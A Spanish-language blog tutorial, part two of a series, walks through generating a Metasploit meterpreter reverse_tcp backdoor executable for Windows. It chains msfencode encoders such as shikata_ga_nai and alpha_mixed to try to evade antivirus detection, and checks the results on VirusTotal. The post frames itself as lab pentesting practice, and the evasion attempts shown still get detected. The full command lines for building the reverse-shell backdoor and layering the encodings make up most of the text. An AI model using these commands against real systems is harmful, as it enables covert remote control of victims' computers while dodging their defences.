Metasploit: de ENCODING y PAYLOAD va la cosa (II)

















En la primera parte, empezamos a trabajar con el comando "msfpayload" del framework de metasploit, y una vez que se había generado un PAYLOAD ejecutable para plataformas Windows, se subió a virustotal.com para comprobar la detección de este tipo de archivos por los sistema antivirus, y resulto, que era detectado por la mayoría de los motores de detección de los principales antivirus del mercado.

En el artículo de hoy, vamos a ver las opciones de las que disponemos para aplicar técnicas de evasión de detección en los sistema antivirus, se realizarán varias pruebas ... ¿Conseguiremos evadir a los sistema antivirus?

INDICE:  Parte 1 | Parte 2 | Parte 3                                                                                                                                                  

Ejemplos de USO (segunda parte)

Recordamos que en el laboratorio (ST2Labs) disponemos de dos máquinas virtuales, la primera tiene Kali Linux y la segunda Windows XP SP3.

ST2Labs - Laboratorio de Seguridad para Todos
Ejemplo 2

Aprovechando que en el Ejemplo 1, se había generado un backdoor del tipo meterpreter preparado para realizar una conexión remota con el equipo atacante (reverse_tcp), se va a partir de ese punto para comenzar a aplicar las técnicas de evasión, o lo que es lo mismo, técnicas de ENCODING.

Recordatorio:
root@ST2Labs > msfpayload windows/patchupmeterpreter/reverse_tcp EXITFUNC=seh LHOST=192.168.2.105 X > backdoor1.exe
Si recordamos de la primera parte, el comando msfencode nos permite aplicar ENCODING a nuestro PAYLOAD para tratar de evitar la detección de los sistema antivirus, ¿cómo se consigue esto?. 

>> Paso 1: Lo primero es conocer los recursos de los cuáles disponemos:

root@ST2Labs > msfendode -l 

msfencode -l [Listar los encoders disponibles]

Hay que tener en cuenta, que para aplicar encoding al PAYLOAD se necesita que éste se encuentre en el formato RAW (en bruto) para lo cuál se tiene que indicar el formato a la hora de generar el PAYLOAD.

>> Paso 2: Crear un PAYLOAD en formato RAW para que msfencode pueda trabajar con él. 

Para ello se tiene dos formas de hacer, la primera es generar un fichero RAW e indicar a msfencode que utilice dicho fichero para generar el nuevo ejecutable (EXE). La segunda manera, más sencilla, es aprovechar la capacidad que tiene Linux de concatenar comandos, donde la salida de uno es la entrada del siguiente, veamos como se realiza con un ejemplo.

root@ST2Labs > msfpayload windows/patchupmeterpreter/reverse_tcp LHOST=192.168.2.105 R | msfencode -e x86/shikata_ga_nai -c 10 -b '\x00" -t exe -o backdoor2.exe

msfencode [Técnica de encodigo x86/shikata_ga_nai]
Si se observa la imagen anterior, se puede apreciar que:
  • Se ha añadido la letra R, significa que el PAYLOAD utilice el formato RAW (ver msfpayload -h)
  • Se ha utilizado la técnica x86/shikata_ga_nai por ser la técnica que ofrece el mejor resultado, con 10 iteraciones.
  • Además se ha indicado que evite la utilización de los caracteres '\x00' en la generación del ejecutable, que son comunes en los shellcode.

>> Paso 3: Comprobar si los Sistemas Antivirus detectan el ejecutable generado, para ello lo subimos a Virtustotal y el resultado es:

Detección con Virustotal.es
¿Qué hacemos ahora? Nuestro primer intento no ha tenido éxito, lo detecta prácticamente todos los motores de antivirus, en particular los principales y más utilizados sistema de antivirus; Esto solo significa que hay que seguir trabajando. Y que mejor que hacerlo con más ejemplos.

>> Paso 4: Aplicar varias capaz de encoding en cascada para generar el ejecutable final.

A continuación voy a poner los comandos que he utilizado, pero omitiré algunos pasos obvios del proceso para evitar caer en un bucle repetitivo.

root@ST2Labs > msfpayload windows/patchupmeterpreter/reverse_tcp LHOST=192.168.2.105 R | msfencode -e php/base64 -c 2 -t raw | msfencode -e x86/shikata_ga_nai -c 10 -b '\x00" -t exe -o backdoor3.exe

El archivo (backdoor3.exe) sigue siendo detectado por la mayoría de los motores de Antivirus, vamos a intentar una vez más pero probando otras combinaciones y añadiendo más técnicas de evasión, tal que así:

root@ST2Labs > msfpayload windows/patchupmeterpreter/reverse_tcp LHOST=192.168.2.105 R | msfencode -e php/base64 -c 2 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/jmp_call_additive -c 2 -t raw | msfencode -e  x86/shikata_ga_nai -c 5 -b '\xff" -t raw | msfencode -e x86/alpha_mixed -c 1 -t exe -o backdoor4.exe

Nota: si durante el proceso en alguna de las iteraciones obtenemos un error "bad character" se debe a la restricción impuesta de no utilizar cierto tipo de caracteres, por lo que deberemos de eliminar dicho parámetro, cambiar de el tipo de caracteres , y si tras varias pruebas el error persiste, se puede evitar disminuyendo el número de iteraciones.

Subimos el archivo (backdoor4.exe) a virustotal y el resultado es:

Resultados de virustotal para backdoor4.exe

¿Cómo? Esta claro que el problema no esta en el tipo de encoding que se esta utilizando, a las pruebas me remito, el problema radica en el tipo de PAYLOAD que se esta utilizando y quizás en la generación del ejecutable propiamente dicho.

En el próximo artículo, utilizaré el comando msfvenom, este comando unifica msfpayload y msfencode,  para que sea más sencillo, y además trabajaré con unos ejemplos donde se utilizara otro tipo de PAYLOAD y algo más, verificando que se consiguen mejores resultados en las tarea de evadir el sistema antivirus.

>ST2Labs
#Pentesting #Rulez



0 comentarios:

Publicar un comentario